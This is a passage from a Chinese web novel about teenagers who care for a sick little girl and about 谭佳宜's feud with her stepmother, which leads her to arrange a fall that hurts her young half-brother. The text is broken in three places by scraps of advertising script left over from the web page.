七哥三下两下将最后一个零件安好,把重获新生的赛车交道乐乐手中。赛车果然又重新运作起来,乐乐高兴地跳起来扑到七哥身上,一把抱住了他。 “谢谢你!你真厉害。” 七哥被这突如其来的感谢吓到,没想到一句谢谢在小姑娘这儿是这么大的阵仗。他看向谭佳宜,她点点头,给了个鼓励的眼神。七哥犹豫了一下,有些局促地伸出手,在小姑娘的背后亲拍了两下。 深藏不露啊,没想到七哥竟有如此了不得的手艺活。 小小的插曲拉近了七哥和乐乐的关系,这个拥抱则是他们破冰的拥抱。周泽楷不知怎的,心中竟涌起一丝欣慰之情。 可惜的是,赛车的电池摔坏了,刚走了没几步,就再次罢工了。只是小姑娘觉得没出来多久,还没玩儿尽兴呢。 乐乐说刚才在那个角落找零件时,透过灌木,发现公园另一边有个游乐场。里面有秋千,有滑梯,看上去还挺有意思的。她再次眨巴着大眼睛看向周泽楷他们,想去的愿望十分强烈。 周泽楷看了一下腕表,他们已经出来将近一个小时了。他想起李叔之前交代过,乐乐需要充分的休息,不能累着。周泽楷有些犹豫,自己不好扫了小姑娘难得的兴致,但又怕她身体会吃不消。 “去嘛去嘛,就玩一会儿。”小姑娘央求着哥哥姐姐,生怕他们会拒绝自己。 “要不去吧,乐乐也难得有人陪她玩。好不容易出来了,就让她玩得高兴点。”这一刻感性战胜理性,周泽楷建议道。 谭佳宜和七哥犹豫片刻后也采纳了乐乐的请求,三人跟着乐乐往游乐场的方向走去。 29. 晕倒&旧伤 在乐乐的指引下,三人来到了刚刚她说的那个游乐场。游乐场规模不大,放眼望去,只有几个小型的游乐设施,不过好在这会儿没其他小孩儿,一个人玩儿也足够宽敞。 游乐场里当属一侧的秋千最引人瞩目,绳索上缠绕着粉红色的花,即使是假花,看着也十分逼真。既有含苞待放的花苞,又有绽开的花朵,千姿百态,栩栩如生。颜色不是俗气的红,而是淡雅的粉,仙气飘飘的,一下子就抓住了乐乐的眼球。 人都是喜欢美好的事物,乐乐也不例外。 她飞奔到秋千旁,立马占了个座。周泽楷主动承担起推秋千的任务,七哥和谭佳宜则在一旁休息。 “再高些!”小姑娘欢呼着,看得出来是真的高兴。 周泽楷稍微加了把劲儿,但也不敢太过用力,毕竟安全第一。秋千有些重,推了没多久周泽楷胳膊就有些酸了,速度也自然慢了下来。 “哥哥,你是不是累了,要不休息一下?”乐乐倒是很体恤人,即使还没尽兴,但察觉到周泽楷有些累了,也不强人所难。 本来是要接受乐乐的好意的,但周泽楷瞥见一旁的七哥,他正用一种奇怪的眼神看着自己,仿佛在说:就这?这么快就不行了吗? 这不是体力的问题,是尊严的问题。 虽然周泽楷觉得面子没那么重要,但在七哥这儿,他是绝对不能输的。 “没事儿,哥哥还能行。” 就在他自尊心作祟,打算继续的时候,七哥走到秋千旁边,把周泽楷往旁边推了推,抢先一步开始给乐乐推秋千。 “你还是休息一下吧,你这细胳膊细腿的,一会儿站不起来了,可没人搀着你回去。” 果然狗嘴里吐不出象牙,周泽楷翻了个白眼,但还是乖乖闭嘴了。 秋千并排是两个座位,他顺势往旁边的空位上一坐,双腿交叠在一起,开始自顾自地晃着秋千。 突然,一个猝不及防的力道作用在周泽楷的后背。不轻不重,显然推的人并没有使出全劲儿,但足以让周泽楷飞出老远。 这一个骤然发射让周泽楷惊魂未定,还好他抓紧了两侧的绳索,不然他真要成愤怒的小鸟了。 “苏以恒!你耍阴招啊!” 周泽楷气冲冲地回头,一下子对上了谭佳宜的脸。少女闲散地靠在秋千架旁,露出一个玩味的笑容。 她就喜欢看周泽楷现在恼羞成怒的样子。 “好啊,原来是你!” 虽然是个感叹句,但早已没了刚才的怒火。 周泽楷承认,自己也逃不过双标的,生气这种事儿还是得看人。 少女在那儿坏笑,带着小孩子得逞了的狡黠,再次勾起了周泽楷尘封的一段回忆。 记得那年夏天,夜晚蝉鸣不断,燥热的风吹得人静不下心来。于是,谭佳宜不知从哪儿弄来一瓶冰镇汽水,兴冲冲地过来要和周泽楷分享。橘子汽水盛在玻璃瓶中,看着就甜丝丝、凉沁沁的,正适合解暑。谭佳宜说自己打不开,将瓶子递到周泽楷手中,一边催促着他赶快打开,一边用迫不及待的眼神看着他。 就在周泽楷打开瓶盖的一瞬间,白色泡沫立刻翻腾上来,里面的汽水紧接着喷涌而出,直接给他洗了个脸。 等周泽楷睁开眼睛的时候才发现,谭佳宜已经退出去老远,而且毫发无损。她站在一旁露出狡黠的笑容,一副得逞了的模样。 周泽楷这才意识到,原来这是她早就设计好的。她是在故意捉弄他。 “好啦好啦,就是逗你玩儿的。”说罢,小谭佳宜直接把周泽楷身上的汽水往自己脸上一抹。觉得还不尽兴,又倒出一小捧,给小脸做了个周泽楷同款汽水SPA。 “哇塞,一下子就清醒了。” “你留着点儿,不喝了吗?” 两个人对视一眼,都哈哈大笑起来。 欢乐的时光恍若昨日,而今他们都长大了,但不管有多大的变化,却仍看得见从前的影子。 都说回忆拉扯恋旧的人,周泽楷自认为自己是向前看的,但很多时候,还是会不禁想起这些过往的片段。 “他该不会是被吓傻了吧。”七哥用手在周泽楷眼前晃了晃,他才终于回过神来。 “哦。没事,刚才走神了。”周泽楷淡然一笑,难得没跟七哥计较。 “这一会儿都能走神,真不知道你们上课四十五分钟是怎么过来的。”七哥砸了咂嘴。 乐乐玩够秋千了,就跑到旁边的滑梯上玩。小朋友玩滑梯,一个人就能玩得起劲儿,所以他们三人也得空在一旁休息。 估计是中午小店的饭菜不合胃口,谭佳宜突然感觉肚子有点痛,说去旁边的厕所解决一下。周泽楷和七哥都自告奋勇陪她一起去,但她只说不用,叫他俩在这儿看好乐乐。 两人并排坐着,中间却好似隔着一道楚河汉界。 沉默的气氛实在灼人,让周泽楷如坐针毡,就连刚才乐乐的欢笑声也戛然而止,只留下风吹草低的“沙沙”声。 他想起身活动一下,顺便去陪乐乐玩一会儿。实话实说,和小姑娘待着都比和苏以恒这个闷葫芦待着强。 不知道什么时候,乐乐又玩腻了滑梯,已经转战到旁边的平衡木上去了。那平衡木并不矮,快有小姑娘大半个人那么高,也不知道她是怎么上去的。不过好在它宽,所以不容易掉下来。 乐乐此时正背对着他们,停在原地不动,周泽楷捉摸不清小姑娘这会儿在干什么。 正当他疑惑地靠近时,小姑娘的身子突然晃了晃,不过最后还是稳住了。 虚惊一场,周泽楷松了一口气。 “乐乐,玩儿累了就下来吧,要哥哥帮你吗?” 话音刚落,小姑娘身子突然偏向一侧,瞬间脱了力,眼看就要直直地倒下去。 一个箭步上前,他弯腰探身,伸出胳膊稳稳当当接住了乐乐。 还好,可算是接住了。 乐乐闭着眼睛躺在周泽楷臂弯里,他唤了好几声也没有反应,估计是晕过去了。 可是怎么会突然晕倒呢? 这边的动静惊动了一旁的七哥,他也立马跑过来查看情况,“怎么回事?” “乐乐好像晕过去了,和李叔打个电话,还有谭佳宜,我们现在立刻回医院。” 七哥看见乐乐脸色煞白,情况看起来不太乐观,“嗯,我来通知他们,你赶紧送她去医院。” 就在周泽楷直起身子的刹那,背上传来剧烈的疼痛。他一个踉跄,差点儿没站稳。刚刚瞬间弯腰发力,估计是又触及到了旧疾。 不会吧,这点儿小伤怎么还没好啊!周泽楷无奈自己这不尽人意的恢复力,偏偏在关键时刻掉链子。 七哥注意到他皱着的眉头,姿势僵硬,明显有些勉强。 “你受伤了?” “之前的旧伤,没什么大事儿。” “受伤了就别逞能,没看到这还有个大活人。”七哥一把接过他手中昏迷着的乐乐,“你先在原地歇着,一会儿让谭佳宜扶你去医院看看。” 乐乐的情况刻不容缓,周泽楷知道七哥肯定能更快地将小姑娘送到医院,交给他无疑是现在的最优选择。他扶着平衡木,强撑着直起身子,“好了,别废话,你快去吧。” 七哥抱起乐乐就往医院的方向跑,周泽楷看着他远去的身影,刚松了一口气,背后的痛意又一阵阵袭来。 不过他现在只希望,乐乐千万不要有事。 谭佳宜回来时,见周泽楷一个人在游乐场里,她顿时察觉到事情有些不对劲。 “乐乐和七哥呢?” “乐乐刚才突然晕倒了,七哥刚送她去医院了。” 谭佳宜听到这个消息后眉头紧锁,一副焦急的样子,压根没有注意到此时周泽楷难受的样子。 “你就让他一个人带乐乐走了?万一路上有什么情况怎么办?”她神色凝重,似乎在埋怨他的无动于衷。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“我留这儿就是专门等你的。他们现在没走多远,你现在赶紧过去,应该追得上。” 周泽楷脸色惨白,声音也有些发抖。谭佳宜这才注意到不对劲,她凑近打量着周泽楷,发现他额角上分明冒了一层细细密密的汗。 “你怎么了?” “我没事儿,缓一缓就好了。你赶快过去吧,看乐乐要紧。”他把谭佳宜往外推,强装镇定。 “行,那你有什么事儿电话联系。” 目送着谭佳宜远去的身影,周泽楷攥着衣角的手终于松开了。衣角被汗水浸湿,手心也黏糊黏糊的。 他在原地休息了一会儿,觉得背上的疼痛好像有所缓解,于是也努力站起来,独自朝医院的方向走去。 等周泽楷走到病房门口时,乐乐已经躺在了病床上了,正在输液。 门口恰好走出来一个医生,周泽楷忙拉住他,焦急地问:“怎么样了?” “没事,就是有点儿低血糖,输点葡萄糖就好了。虽然这次只是轻微低血糖,不过这种情况还是很危险的,以后要多注意,尽量别让孩子累着。” 周泽楷茫然地点了点头,他突然有点自责,要是他刚刚再坚持一下,乐乐可能就不会出事了。 病床旁这会子就只见谭佳宜一人,她说七哥出去打水了,“你怎么自己走过来了?本来还打算一会儿让七哥去看看你。” “没事,我又不是小孩,不需要别人接。” 背上的疼痛刚减轻了一些,周泽楷就恢复到之前云淡风轻的样子。他不想让谭佳宜看出来,也不想让她担心。 “真没事了?”谭佳宜不太放心,又确认了一遍。 “没事啦,别担心。乐乐好点了吗?” 病床上的小姑娘此时正闭着眼睛,脸上倒是恢复了点血色。 “刚刚醒了,这会儿又睡着了。” 周泽楷看小姑娘睡得正香,也不再说话。他注意到无色的液体从吊瓶中一滴滴落下,最后从手背上的针头进入体内。小针头插在大针头上,几条胶布将大针头牢牢固定在乐乐小小的手背上。 他这才发现,那是留置针。 之前怎么没注意到呢?估计是乐乐今天穿的衣服袖子长,恰好遮住了。 他记得留置针周心雨前年住院时也打过,那时候她比乐乐还要大一岁,当时大小姐可是哭天喊地,闹了半天才打好。 这种针长期带着,好处是免去了每次打针的痛苦,但针管更粗更长,所以第一次打的时候往往要承受加倍的疼痛。周泽楷看着乐乐狰狞的手背,可想而知,对于小孩子来说,应该还是挺疼的。 过了一会儿,李叔可算赶了回来。他焦急地询问了乐乐的情况,听到没事后才终于放下心来。 背上的疼痛再次袭来,一阵一阵地疼,反反复复,周泽楷无奈,只好找了个由头,打算去挂个外科看看。 趁这会在医院,就近看看也好。 出门的时候,刚好碰见打水回来的七哥,周泽楷佯装没事人,在七哥肩头拍了一下,“这儿就交给你了,我有点事先走了。” 七哥看他没事,也没再多问,两人打了个照面,便擦身而过。 七哥回到病床旁,乐乐刚醒,正揉着惺忪的睡眼,斜倚在床头。 她怔怔地看着来人,眼前的人正是穿着黑色卫衣,她隐约记得,背自己回来的人就是穿着黑色衣服。 “乐乐,好些了吗?”李叔关切地问女儿,眼里盛满了心疼和宠溺。 “我没事啦,是阿恒哥哥,是他今天救了我。多亏了阿恒哥哥,小汽车也没事,当时都摔得散架了,哥哥竟然还拼好了呢。”谈起遥控赛车时,小姑娘眉飞色舞,兴致很高,不知道的哪里看得出来是刚刚晕倒的人。 李叔听后,拉起一旁的七哥连连道谢,谭佳宜也看向他,嘴角似是漾起一抹微笑。 面对铺天盖地的感谢,七哥怔愣在原地,他刚想摆手,迟疑片刻,终究是收了回去。 30. 等待&爆发 他没说话,想说的话堵在嘴边,却怎么也开不了口。 可能人就是这样,即使不会去抢别人的功劳,但已经陷入舆论中心,被众星捧月时,都没有推开功劳的勇气。 看过乐乐醒了没一会儿又困了,小姑娘身子还是太虚弱,经不起久玩儿,上一秒可能精神头还足,下一秒就有可能晕倒。 只能说,在病彻底好之前,愉快的户外玩耍时间小姑娘是无福消受了。 天色渐渐暗下来,谭佳宜他们也打算回家,只是迟迟不见周泽楷回来,谭佳宜还是给他发了个消息。 没一会儿,对方回复:我先走了,不用等我。 真是奇怪,什么事这么着急,都不打声照面就玩消失,谭佳宜在心里抱怨了两句。 不过也没多想,二人便辞别了李叔,各回各家。七哥主动提出送谭佳宜回家,但她还是拒绝了。 “也不远,我打车就行,要是被我家里人看见了,对你不好。” 谭佳宜初中的时候才偶然结实七哥,但他们上一辈人的渊源可不浅,谭佳宜不确定谭墨行认不认识苏以恒,但谨慎些总是好的,要是谭墨行知道了七哥跟她走得近,不免会起疑心,到时候顺藤摸瓜查上去,恐怕会暴露。 “也好,那你注意安全。”七哥很快反应过来,将头盔戴好,但车子却迟迟没有发动。 “你怎么不走?”谭佳宜疑惑道。 “陪你等会儿,等你上车了再走。” 七哥干脆将刚戴上的头盔解开,陪她一起站着等。晚间的风冷冽,冷风吹得谭佳宜瑟瑟发抖,她不自觉搓起手来。 霎时,肩上又多了一分重量,当然,更多的是一分热量。谭佳宜抬眸,果然还是那件熟悉的外套。 “先披着吧,外头风大,等你上车时再给我。” 七哥考心思细腻,知道她断然不会披着他的外套回家的,不然,她家里人又该疑心了,不过暂时披一会儿,倒是无妨。 谭佳宜没推辞,定定地站在原地,目光在前方车水马龙的街道来回扫视,好不容易来了辆出租车,却又被截胡过去。 看来今天运气不好,老天专门给她一个欣赏城市夜景的机会。 “累了吗,要不坐一会儿。我帮你盯着呢。”七哥指了指旁边的摩托车座。 谭佳宜没答应,只是摆摆手,“没等多久,我不累。” 这个场景再次唤醒七哥白天的记忆,早晨在寒风中,谭佳宜也是这样固执地等着周泽楷。他没再劝,只是眼眸暗了下来。 谭佳宜其实没这么别扭,从前她在七哥面前,总是能心安理得地接受他的好意,因为七哥是唯一一个能给他安全感的人。 但不知什么时候,她突然发觉七哥好像对自己太好了,明明有些举动之前觉得没什么,但如今却会刻意回避。 奇怪,真奇怪,好端端的,她和七哥怎么就生疏了呢? 谭佳宜不愿意承认这一点,于是,悄无声息地,在摩托车上坐下。 七哥还沉浸在刚刚的黯然中,发觉少女已然坐在了摩托车坐上,嘴角又微不可查地翘起。 “对了,周泽楷今天怎么回事,怎么突然就走了,你知道吗?” 人的心情总是像做过山车一样,这大概就是七哥现在的真实写照。 谭佳宜刚塞给他颗糖,转而又给他当头一棒,让他恢复到失落的现实世界。 他想到游乐园中周泽楷痛苦的模样,又忆起病房中众人夸赞的情景,一时不知道怎么回答,“我……我也不太清楚。” 支吾间,出租车终于来了。 谭佳宜利落地上车,将外套还给七哥,关于周泽楷的话题自然不了了之。 七哥可算松了口气,但心中的石头却没有落下。 谭佳宜回到家时,只见楼下垃圾桶旁堆着个箱子,面上飘着一张旧照片,上面的人不是别人,正是她的母亲! 谭佳宜一瞬间失了神,慌忙蹲下身来,也不管垃圾桶边的臭味和污渍,疯了一般开始翻箱子里的东西。 满满一箱,全是母亲的旧物。这些书籍、照片、唱片,都是母亲生前珍藏的宝贝,怎么会在这里! 谭佳宜攥紧拳头,目光中透露着狠厉,她将一箱旧物一股脑地搬回家,推开门,就撞上程婉乔目瞪口呆的神情。 她似乎是没想到谭佳宜回找着这箱东西,估计还以为自己很高明,神不知鬼不觉就把这些“垃圾”处理掉了。 谭佳宜将箱子重重地摔在地上,径直走向程婉乔,直接一巴掌甩到程婉乔脸上。 程婉乔被打懵了,她完全没料到,平日装乖惯了的谭佳宜,今日竟会毫不留情地当面反击。 “什么意思,谁让你乱动别人东西的?”刚刚出手倒是快准狠,现在说起狠话来却平静得很,只不过,平静的湖面下却是万丈深渊,阴森、恐怖,看不到底。 程婉乔没被她一巴掌惹怒,转头赔上笑脸,温声道:“佳宜,别生气,阿姨是看那箱子都落灰了,里面还有虫子爬出来,以为是什么不要的东西,就没细看。” 看对方还是冷冰冰地表情,程婉乔拉起谭佳宜的手,连忙道歉:“对不起对不起,都是我不好,怎么把言清的东西给误丢了,还好捡回来了,还好……” 言清。 哼!妈妈的名字也是你配提得吗? 你连她的一根头发都比不上! 程婉乔还没完,立马奔向门口的箱子,跪在地上开始收拾里面的物品。 谭佳宜冷笑一声,无奈地叹了口气,她转过身来,谭墨行正立在门口。 其实不用猜都知道,她扇过程婉乔后,背后便传来一声开门声,谭墨行早已将程婉乔委屈巴巴的样子尽收眼底。 怪不得这么能忍,她唱这出戏,原来是因为有听戏的人! 谭墨行听过程婉乔的一番话,也大致明白过来是怎么一回事,只可惜旧爱敌不过新欢,何况谭墨行是否真正爱过白言清也难说,他现在看见女儿如此对她的继母,自然是站在看似弱势的程婉乔一方。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >他将跪坐着的程婉乔扶起来,“地上凉,先起来。”转而看向谭佳宜,眼神中多了几分父亲的威严,“谭佳宜,你程阿姨也不是故意的,都给你道歉了,你还想怎样。” 说罢,又瞥了一眼地上的旧物,捂着鼻子道:“这些东西都快发霉了,也该扔了,怪不得每次到储物间都能闻到一股子怪味。” 一旁的程婉乔依旧低着头不吭声,这会儿有人替她做主,就犯不着她再出手了,不然反倒添乱。 谭佳宜目光锐利,只是死死地盯着箱子里的旧物,她上前两步,一把推开这对碍眼的夫妇,将地上散落的旧物往箱子里捡。 谭墨行看女儿如此执拗,揣摩着她是吃软不吃硬,又蹲下来抚摸着她的后背,声音也温和了不少:“佳宜,刚刚爸爸说话是有点冲,但人总是要向前看,不要老是沉浸在过去,你母亲肯定不愿看见你这样。这些旧物,没必要守着,该舍弃时就不能太留恋。” 谭墨行倒是打得一手好感情牌,竟还把母亲搬出来压她,真是荒谬又可笑。 谭佳宜只觉背后一阵发麻,一种恶心的感觉在心胸翻涌,她一句也听不下去,谭墨行不配提她母亲! 没搭理谭墨行,谭佳宜将箱子收拾好后,抱起箱子,径直走向自己的房间,头也不回地将门重重地合上,只听刺啦一声,门被反锁上。 门后的谭佳宜彻底绷不住了,她抵着门,瘫软在原地。 门外隐约能听到谭墨行的说教声:“好好的孩子如今怎么变成这样了,看来是叛逆期到了,以为自己翅膀硬了,是该多管教管教。” 程婉乔自然是在一旁劝慰,“佳宜还小,不懂事也正常,你别跟她生气。” …… 谭佳宜将箱子里的东西收拾出来,掸去上面的灰尘,用纸巾将每一件物品细细地擦拭干净,她望着旧照片上笑靥如花的母亲,摩挲着母亲曾经翻阅过的纸张,好似母亲就在自己身旁,从未离开。 那一夜,谭佳宜的眼泪浸湿了枕头,她哭了整整一夜,眼泪像是无边无际的海水,苦涩又无尽。 深夜的悲伤是自己的,但今后的苦难却绝不能只由自己一个人受,谭佳宜攥紧了被单,心中暗暗念着:她要所有伤害妈妈,伤害自己的人,都不得安宁。 翌日早晨,晨曦的第一缕微光透过窗子,照到谭佳宜泪渍已干的脸上,她从床上挣扎起来,只觉脑袋沉沉的,过度悲伤引起的睡眠不足让她感到精疲力竭,不过还是揉了揉眼睛,拖着沉重的步伐,到洗漱台边洗了个脸。 镜中的少女明显憔悴不少,惨白的脸毫无生气,眼神空洞无神,像是一具没有灵魂的傀儡。 不过谭佳宜却毫不在意,她利落地擦净脸上的泪痕,将梳妆架上的化妆品拿出来,对着镜子细细地扫着腮红,最后涂了个浅色的唇釉,整个人一下子面色红润,再次容光焕发,哪里看得出前一天晚上发生了什么。 谭佳宜用指腹将唇釉抹开,接着勾起一侧嘴角,镜中的她,眼神晦暗,此刻正露出一个可怕笑容。 31. 掩饰&暗算 谭佳宜拧开门把手,客厅里空无一人,谭墨行八成在公司,而程婉乔应该是去做头发了,回来第一天碰巧听她提到过。 谭佳航的卧室半掩着,透过门缝,可以看到一个瘦小的背影伏在桌前,隐约能听到写字的沙沙声。 看来这小子还挺用功的。只是当谭佳宜瞥见卧室内的布景时,嘴角微微抽动,一丝不悦在眼底掠过。 粉色的墙壁已经刷成了蓝色,原来的家具也全换成了新的,如果不是窗户的朝向没法改变,谭佳宜几乎认不出,这就是自己原来的房间。 物已去,人已非,她死死地盯着谭佳航的背影,告诉自己,就是他鸠占鹊巢,夺走了属于她的一切。 表情管理这一课谭佳宜修了三年,如今已经可以做到随意切换表情。上一秒她眼神还有些凶狠,但下一秒立刻敛去不悦,嘴角扯出个微笑。 谭佳宜端着杯牛奶,敲了敲房门,男孩儿似是太过专注,顿了几秒才扭过头来,一看是谭佳宜,又瞬间露出笑容,“姐姐,你来啦?” 谭佳宜走到他身旁,将牛奶放在他手边,温声说道:“学这么久了,辛苦了吧。要不休息一下,喝点牛奶。” 谭佳航听话地捧起牛奶,一饮而尽,喝完后,嘴角还有些白色残留。见他这张小花脸,谭佳宜亲昵地用指腹拂去他嘴角的牛奶,接着温柔地冲他一笑:“慢点儿,还有呢。” 她拿起桌上的习题册看了眼,封面写着“小学奥数真题”,不禁问道:“你们现在要求这么高啊,还要学奥数?” 谭佳航摇摇头,苦笑道:“不是,这是补习班学的,妈妈说今天必须要写完三页,回来还要检查。” 察觉到他不情愿的模样,谭佳宜将奥数题放回去,“这样啊,我还想带你出去透透气呢,看你假期也不怎么玩儿,平时上学更忙,就更加没时间放松了,不过你要写题,那只能下次再说了。”谭佳宜故作遗憾地叹息道。 听闻此言,谭佳航小声嘀咕一句:“那岂不是要等下个月了。”他怕姐姐失落,加上自己也想出去玩儿,忙补充道:“姐姐,我就差半面了,很快就做完了,要不等等我。” 谭佳宜就知道这小子不会拒绝自己,看他这么积极的份上,就满足他吧。 她揉着他的脑袋,看了眼挂钟,时间已是下午三点。 “就是现在也不早了,不知道程阿姨几点回来。”说着,眉眼微皱,神情显得有些不安。 顺着谭佳宜的视线望过去,谭佳航盯着墙上的挂钟沉思片刻,转而合上书本,提议道:“不然一会儿回来了再写,应该来得及。” 看他答应得爽快,谭佳宜心中暗喜。既然这么上赶着来,那就不怪我了。 谭佳宜快速扫了一遍竞赛书的题目,问道:“这是草稿纸吗?” 谭佳航点点头,还没反应过来她要干嘛。只见谭佳宜飞快地打起草稿,一通演算下来,将还差的那几题答案算了出来。 平心而论,谭佳航学的小学奥数还是有点难度在的,不过对于学过高中竞赛的谭佳宜来说,还是小菜一碟了,几道题很快便迎刃而解。 看着谭佳宜刷刷两下就将自己要琢磨半天的题目解出,谭佳航忍不住发出惊呼:“姐姐,你太厉害了,难怪妈妈总是夸你优秀,叫我多向你学习。” 小孩子果然单纯,程婉乔哪里是在真心夸她,分明是嫉妒她,见不得她好,而谭佳航或许也不知道,母亲对他严加管束,也是出于不想让他输给谭佳宜。 谭佳宜扯了扯嘴角,将草稿纸递过去,“要是实在来不及,就先抄下来应付过去,等回头再写。” 谭佳航接过草稿纸仔细端详着,像是拿到了自担的亲笔签名,眼里满是崇拜,他乖巧地答应下来,还不忘补充道:“姐姐放心,我一定会再做一遍的,不会抄作业的。” 小男孩儿说得正义凛然的,倒是很有自己的原则,恍惚间,让谭佳宜想起了一个人,一个小时候也像他一样死板的人。 …… 谭佳宜领着谭佳航来到附近的一个公园,两人找了个空场地开始玩儿飞盘。 起初,谭佳航不熟练,完全跟不上谭佳宜的节奏,跑了半天,一个盘也没接着。不过即便如此,谭佳航也有自己的坚持,他上气不接下气地满场跑,苦苦追逐着不听话的飞盘。 “要不先歇一会儿吧,”谭佳宜拾起地上的飞盘,示意他先坐一会儿,“我去给你买瓶水,你在这里等我一下。” 谭佳航听话地坐在谭佳宜指给他的石椅上,还在为自己刚刚的差劲表现内疚。他害怕,自己玩得这么差,不会下次姐姐就不带他出来玩儿了吧。 盯着手上的盘子,谭佳航打算,等姐姐走了,自己再好好琢磨琢磨这飞盘的技巧。 不过小男孩显然多虑了,谭佳宜对他刚刚的一番表现倒是很满意,她之所以迟迟没有教他该如何接盘,就是想在看他多累一会儿。 只是谭佳宜想不通,谭佳航不是挺聪明的吗,怎么今天看着却傻傻的,还能心甘情愿给人当猴耍。 谭佳宜买水的时间挺长,给足了谭佳航自我摸索的时间,他本来学习能力就强,这会儿有时间静下心来沉淀,很快便找到了接盘的窍门。 他坐在石椅上晃腿,眼睛时不时扫向远处,满心欢喜地期待谭佳宜的到来。 谭佳宜总算是回来了,谭佳航快速地灌了一口水,就迫不及待地想要将自己刚刚的成果展示给姐姐看,也没多问谭佳宜怎么买水买了这么久。 谭佳宜没想到,刚刚屡战屡败的经历竟然没有挫伤到他,相反,这会儿谭佳航兴致倒是更高了。 “姐姐,你放心,这会儿我肯定能接着了。”谭佳航兴奋地举起飞盘,一路小跑到草地上。 谭佳宜勾起唇角,看着谭佳航奔跑的背影,眼神晦暗不明。 很好,看来不用她劝,也不用她教,这小家伙是要自投罗网啊。 没几个回合,谭佳航就能熟练地接盘发盘,比起刚刚手忙脚乱的样子,已经是天大的进步了。谭佳宜承认,这小子还是挺聪明的,也不知道是随了谁。 谭佳宜看他玩儿得尽兴,干脆给他增加点儿难度,骤然间,谭佳宜猛地将飞盘掷向另一个角落,力度增大,飞盘被甩出老远。 见状,谭佳航想也没想,立即向飞盘的方向扑过去,在草坪与树林的交界地带,不知哪里横来一根树枝,谭佳航一个踉跄,直接绊倒在地。 只是不巧的是,这里是个斜坡,还没等谭佳航爬起来,身体便不听使唤地向下滚。只是谭佳航的不幸还没完,斜坡下恰好有个大坑,像是要栽树,只是树还未填进去,周边的防护措施就撤掉了,谭佳航刚刚好跌进那个大坑。 好在泥土松软,一路摸爬滚打,也不至于摔得鼻青脸肿,只是路上多碎石,加上坑旁还有树枝,难免剐蹭,谭佳航倒是有好几处皮肉伤。 他个子不高,一个人爬不上去,只好扯着嗓子喊着救命。 一切尽在谭佳宜的掌握之中,她冷眼旁观地看着刚刚发生的尽收眼底,听见求救声后,才不紧不慢地赶过去。 看见谭佳航狼狈的模样,谭佳宜面露惶色,眼里盛满了担忧,“佳航,你别急,我拉你上来。” 大坑旁恰好有个树枝,表面粗糙,还带着小刺,只短短地瞥了眼,谭佳宜便毫不犹豫地伸出手,故意往树枝一侧偏了偏,刺啦一下,衣服被划开,里面露出鲜红的一道口子。 谭佳宜毫不在意,只是用力将谭佳航往上拽,费了好大力气,总算将人从大坑中拉了出来。 两人坐在地上,经过刚刚一番折腾,都有些精疲力竭。谭佳航指着谭佳宜胳膊上的伤,全然忘了自己身上的疼痛,惊异道:“姐姐,你还好吗?” 刚拉谭家航上来,胳膊还有些酸,谭佳宜挤出一抹微笑,强撑道:“没事,一点小伤罢了,”边说边捂住伤口,摆出一副很坚强 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的样子。 谭家航见状,心里的愧疚加深了几分,都是他不好,不然姐姐就不会受伤了。 …… 二人到家后,程婉乔和谭墨行果然还没回来,谭家航心里舒了口气,谭佳宜亦然。 她迅速将自己手臂的伤简单包扎了一下,接着拿出药箱,为谭家航细细地上药。 小家伙手上,脸上都有几处擦伤,好在不深,就是不知道会不会留疤。 “对不起,姐姐……”谭家航眼里闪着泪光。 “我弄疼你了?”谭佳宜放轻手上的动作,问道。 “没,就是害得你今天受伤了……”谭家航说着说着,泪水直往外掉,一滴一滴砸在谭佳宜手上,他怕谭佳宜嫌弃,还不忘擦去她手上的泪渍。 冰凉的小手触到谭佳宜时,她的心莫名被揪了一下,酸涩的感觉不知不觉在心底漾开,只是压抑着,不愿承认。 这时门开了,是程婉乔回来了,谭墨行许是下班后直接去接的她,所以两人一前一后进了家门。 一进家就看见儿子委屈巴巴的样子,脸上还挂着彩,谭佳宜则在一旁收拾茶几上的药箱。 程婉乔许是猜出了什么,忙走到谭佳宜身边质问:“你把我儿子怎么了?” 对于她这个宝贝儿子,程婉乔倒是不装了,只能说狗急了也会跳墙,而谭家航就是她的底线。 “没怎么,他不小心摔着了而已。”自从上次给过她教训后,谭佳宜在程婉乔面前干脆也不装了,她神色淡淡的,故意激她。 “你……你有什么事冲我来,欺负我儿子算什么!”程婉乔抚摸着谭家航的脸颊,满是心疼,将“冲我来”三字加重了些,似是意有所指。 谭墨行也看不下去了,开始帮着程婉乔说话:“佳宜,到底是怎么回事,弟弟怎么受伤了呢?” 谭家航的小伤全家瞩目,而她的安危却无人问津。不过也无所谓,反正她也不稀罕他们的关心。 “我看佳航学了一天,本想着带他出去放松一下,结果跑的时候不小心摔着了,就……” 没等谭佳宜说完,程婉乔就按捺不住火气,打断她道:“平时都好好的,怎么今天出去回来就一身伤,还有,为什么偏偏今天带他出去,是不是专门趁我们不在欺负你弟弟?” 话虽说得过分,但程婉乔倒是个聪明人。谭佳宜就是处心积虑趁他们不在带他出去,也是她专门设计这出来整谭家航,她就是想让她难受,她也见不得她好过! “妈妈,是我让姐姐带我出去玩的,也是我不小心才摔倒的,姐姐为了救我,自己都受伤了呢,您别怪她,都是我的错。”谭家航哭着为谭佳宜求情,这是程婉乔万万没有想到的。 谭墨行终于注意到谭佳宜手臂的绷带,也不好再偏心,开始关心起她来:“佳宜,阿姨是看弟弟受伤了,所以情绪有些失控,你多担待。这件事你没错,是我们误会你了,爸爸跟你说声对不起。” 既然父亲发话了,那她今日就给个面子不计较了。谭佳宜掩了掩手臂的伤口,十分大度地说:“没事,我能理解程阿姨的心情。只是下次还是得先弄清楚事实真相再评判,在家里还好说,在外面要是也这么冒失,怕是会得罪人。” 程婉乔看丈夫儿子都帮着谭佳宜说话,自知自己不占优势,也没再争辩,咬着牙向谭佳宜道了歉。 回到房间后,谭佳宜走到洗漱台边,一把扯下手臂上的绷带,绷带上还留着鲜红的印子,谭佳宜放在灯光下端详片刻,像是在欣赏什么艺术品。 她把水龙头开到最大,盯着汩汩清水涌出龙头,任它冲刷着自己的伤口。不一会儿,水就被染成了鲜红色。 等谭佳宜把胳膊从水流中抽出时,白皙的皮肤竟毫发无损,即使在暖灯的照射下,也看不出一丁点儿瑕疵。 